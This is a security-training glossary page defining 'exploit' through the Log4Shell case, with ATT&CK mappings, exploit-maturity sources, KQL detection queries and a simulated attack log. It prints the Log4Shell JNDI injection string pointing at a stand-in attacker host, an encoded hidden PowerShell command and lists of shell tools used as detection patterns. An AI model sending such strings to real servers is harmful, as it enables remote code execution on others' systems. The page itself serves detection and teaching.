Skip to main content
ConceptsSIEMXDRFirewall

What is Exploit?

An exploit is code, a command or a technique that takes advantage of a vulnerability to make software do something its designers did not intend, such as running attacker code. The vulnerability is the flaw, the exploit is the method that uses it, and the payload is what runs once it works.

Definition

Exploit
An exploit is code, a command or a technique that takes advantage of a vulnerability to make software do something its designers did not intend, such as running attacker code. The vulnerability is the flaw, the exploit is the method that uses it, and the payload is what runs once it works.

How Exploit Works

Vulnerability, exploit, payload: one case, three names

People use these words as if they were one thing, and a SOC cannot afford to. The clearest example is Log4Shell. The vulnerability is CVE-2021-44228, in Apache Log4j 2.0-beta9 through 2.15.0. NVD's description is that the JNDI features "do not protect against attacker controlled LDAP and other JNDI related endpoints", so an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers. NVD scores it 10.0 (CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

The exploit is the thing the attacker sends: a string in the form ${jndi:ldap://203.0.113.50:1389/x} placed in any field the application logs, such as a URL, a header or a username. The payload is the code the vulnerable server fetches and runs because of that string. The flaw is the same for every attacker, while the string and the payload are separate choices. That is why patching removes the flaw and why blocking one string does not.

Exploit is not malware, and it is not a zero-day

It gets code to run. What runs is the payload, and the payload is often the malware. A zero-day describes timing: a flaw nobody has patched yet. Many exploits in your logs target flaws that already have a fix, and Log4Shell is one of them today: NVD records that 2.15.0 disabled the behavior by default and 2.16.0 removed it. What keeps it in your logs is exploit code that anyone can run.

Where exploits show up in ATT&CK

ATT&CK splits the technique by what the attacker wants from it. The list is a good map of where to look, because each one lands in a different log.

TechniqueTacticWhat it is aimed atWhere to look first
T1190 Exploit Public-Facing ApplicationInitial AccessA software bug, glitch or misconfiguration in an Internet-facing hostWAF and IDS logs, then child processes of the service
T1203 Exploitation for Client ExecutionExecutionA client application such as a browser or OfficeA document or browser spawning a shell or script engine
T1068 Exploitation for Privilege EscalationPrivilege EscalationA flaw in a program, service or the OS kernelA low-privilege process that suddenly runs with higher rights
T1210 Exploitation of Remote ServicesLateral MovementA service on another internal machineThe target's service crashing or spawning a process, after a connection from a peer
T1212 Exploitation for Credential AccessCredential AccessAn authentication or credential serviceAnomalies on the authentication server rather than on the endpoint
T1211 Exploitation for StealthStealthA flaw in a security control or logging pathGaps and crashes in your own telemetry

How an exploit matures

A vulnerability becomes urgent when an exploit exists. Three public sources record that, and they answer three different questions.

  • CVSS v4.0 Exploit Maturity (E). FIRST defines Attacked (attacks reported, or tools that make exploiting easier are available), Proof-of-Concept (public PoC code, no known attacks), Unreported (neither) and Not Defined. Not Defined is scored like Attacked. It is a threat metric filled in from threat intelligence, so a base score alone says nothing about exploitation. See CVSS.
  • EPSS. FIRST publishes a daily probability that a CVE will be exploited in the wild in the next 30 days. It ranks, it does not confirm.
  • CISA's Known Exploited Vulnerabilities (KEV) catalog. This is a record of fact. Catalog version 2026.10.16 lists 1,748 vulnerabilities, 361 of them flagged as used in ransomware campaigns. The Log4Shell entry was added on 2021-12-10 and is flagged "Known".

Read together, they change a triage decision. A CVSS 7.5 with a KEV entry beats a CVSS 9.8 with no sign of attacks, and your vulnerability management queue should sort that way. See CVE for how the identifiers work and patch management for the deadlines.

What an exploit leaves behind

There are three moments in your logs, and most alert fatigue comes from treating the first as if it were the third.

1. The attempt. Most requests carrying that string are scanners. They show in web, WAF or IDS logs and they say nothing about success.

// IIS requests carrying a JNDI lookup in the path, query string or User-Agent
W3CIISLog
| where TimeGenerated > ago(1d)
| where csUriStem contains "jndi" or csUriQuery contains "jndi" or csUserAgent contains "jndi"
    or csUriQuery contains "${${" or csUserAgent contains "${${"
| project TimeGenerated, sSiteName, cIP, csMethod, csUriStem, csUriQuery, csUserAgent, scStatus
| order by TimeGenerated desc

contains matches substrings, so it also catches URL-encoded forms such as %7Bjndi. Variants that nest lookups inside the keyword still slip past a plain jndi match, which is why the second pair of conditions looks for ${${. A 200 in scStatus does not tell you whether it worked: the lookup happens when the application logs the string, not when it answers.

2. The reaction. This is the moment the attempt becomes an incident. A server that was tricked into fetching a payload makes an outbound connection it has never made.

// A Java process connecting out to a public address on LDAP, LDAPS or RMI ports
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe", "java")
| where RemotePort in (389, 636, 1099, 1389) and not(ipv4_is_private(RemoteIP))
| project Timestamp, DeviceName, InitiatingProcessCommandLine, RemoteIP, RemotePort

Attackers can run the listener on any port (the example string above uses 1389, which the list now includes), so an app server with no business talking to the internet is the stronger control. Block egress by default, and keep the attack surface small so fewer components are reachable at all.

3. The aftermath. The payload runs as the service account. A web or Java process starting a shell is the signal, and the suspicious process execution playbook is the triage path.

DeviceProcessEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe", "java", "w3wp.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "sh", "bash", "curl", "wget")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine

All three queries use the documented W3CIISLog, DeviceNetworkEvents and DeviceProcessEvents columns and have not been run against a live workspace by SOCSimulator. Adapt the first to your web tier, since nginx, Apache and Tomcat write the same data into different logs.

A simulated case

Simulated example generated by SOCSimulator Research. The host, the addresses and the times are invented, and 203.0.113.50 is a documentation address.

02:14:07  W3CIISLog          cIP 198.51.100.23  GET /api/search  q=${jndi:ldap://203.0.113.50:1389/x}  scStatus 200
02:14:08  DeviceNetworkEvents  APPSRV02  java.exe -> 203.0.113.50:1389
02:14:09  DeviceProcessEvents  APPSRV02  java.exe -> cmd.exe /c powershell -nop -w hidden -enc ...

The first line alone is a scanner you see forty times a day. The second line, one second later, is the server calling the address in the string. The third is a shell. A one-second chain from request to outbound connection to child process is not a scan, it is a working attack. Isolate APPSRV02, preserve the process tree, and read what the shell did, because success here is the start of the intrusion, not the end. After that, patch or remove the vulnerable component, and sweep the host for the access an attacker leaves behind in the first minutes.

Exploit in SOC Operations

When a vulnerability alert lands, the question that decides priority is whether an exploit exists, not how high the score is. Check three things in order: is the CVE in the KEV catalog, is there public code (the Proof-of-Concept or Attacked values of CVSS Exploit Maturity), and does your own exposure put the vulnerable component where an attacker can reach it. When an intrusion alert lands, ask the opposite question: did it work? An attempt in a web log is noise, and what you triage is the server's reaction, an unexpected outbound connection or a service process starting a shell. Record in the ticket which of the two you are working, because the first goes to vulnerability management and the second to incident response.

Free

Practice Exploit in a Real SOC

SOCSimulator provides hands-on training with realistic SIEM, XDR, and Firewall interfaces. Build real analyst skills investigating exploit scenarios with zero consequences, free.

Frequently Asked Questions

What is the difference between an exploit and a vulnerability?
The vulnerability is the flaw in the software, such as a logging feature that follows attacker-controlled lookups. The exploit is the code or technique that uses the flaw to make the software misbehave. Patching fixes the flaw. One flaw can have many exploits, and an exploit with no vulnerable target does nothing.
What is the difference between an exploit and a payload?
The payload is the code that runs after the attack succeeds. The exploit gets execution, and the payload decides what happens with it: a reverse shell, a downloader for ransomware, a new local account. In the Log4Shell example it is the class the server fetches from the attacker's LDAP server. Blocking one delivery string does not remove the payload from other routes.
What are the types of exploits?
By where they run, remote ones reach a service over the network and local ones need an account on the machine first. By target, server-side ones hit services and client-side ones hit applications such as browsers and Office through content the user opens. ATT&CK also separates them by goal: initial access, execution, privilege escalation, lateral movement, credential access and stealth.
What are some examples of exploits?
Log4Shell is the standard case. A string such as ${jndi:ldap://attacker-host/x} placed in any field the application logs makes the vulnerable server fetch and run attacker code (CVE-2021-44228). ATT&CK lists others by what they aim at: a crafted request against an internet-facing web application (T1190), a malicious document that makes a browser or Office run code (T1203), a flaw in the kernel or a service that raises a low-privilege process to higher rights (T1068) and a flaw in a service on another machine that lets the attacker move to it (T1210).
How can you tell whether a CVE is being exploited?
Check three public sources. CISA's Known Exploited Vulnerabilities catalog lists vulnerabilities with confirmed attacks. EPSS gives a daily probability of exploitation in the next 30 days. The Exploit Maturity value in CVSS v4.0 records whether attacks are reported or only proof-of-concept code exists. A vulnerability in KEV is a confirmed case, so patch it first.

Sources

More Concepts Terms

Career Path

SOC Analyst (Tier 1) Career Guide: Salary & Skills

Tier 1 SOC Analysts are the front line. You monitor alert queues, triage incoming detections, classify them as true or f…

Read more
Career Path

Detection Engineer Career Guide: Salary & Skills

Detection Engineers build the rules, analytics, and automated workflows that determine what the SOC can see. You transla…

Read more
Career Path

Security Engineer Career Guide: Salary & Skills

Security Engineers build and maintain the infrastructure that SOC analysts depend on. You deploy SIEMs, configure firewa…

Read more
Comparison

SOCSimulator vs LetsDefend: Comparison

SOCSimulator wins on operational realism. You get multi-tool shift simulation with SLA pressure, noise injection, and al…

Read more
Comparison

SOCSimulator vs CyberDefenders: Comparison

SOCSimulator trains the operational workflow: alert triage, correlation, and response under pressure. CyberDefenders tra…

Read more
Tool

SIEM Training Console: SOCSimulator

The SIEM console in SOCSimulator replicates the workflow of enterprise platforms like Splunk Enterprise Security, Micros…

Read more
Tool

XDR Training Console: SOCSimulator

The XDR console in SOCSimulator replicates the investigation workflow of platforms like CrowdStrike Falcon, Microsoft De…

Read more
Tool

Firewall Training Console: SOCSimulator

The Firewall console in SOCSimulator replicates the log analysis experience of enterprise platforms like Palo Alto Netwo…

Read more
Technique

MITRE ATT&CK® Techniques: Detection Training Library

Browse all MITRE ATT&CK® techniques with detection strategies and example alerts.

Read more
Career Path

Cybersecurity Career Paths: 2026 Guide

Explore SOC analyst career paths with salary data, required skills, and certification roadmaps.

Read more
Playbook

SOC Investigation Playbooks: Step-by-Step Guides

Practitioner investigation playbooks with decision trees and real SIEM queries.

Read more
Feature

Shift Mode: Real-Time SOC Simulation

Practice alert triage under realistic time pressure with SLA timers and noise injection.

Read more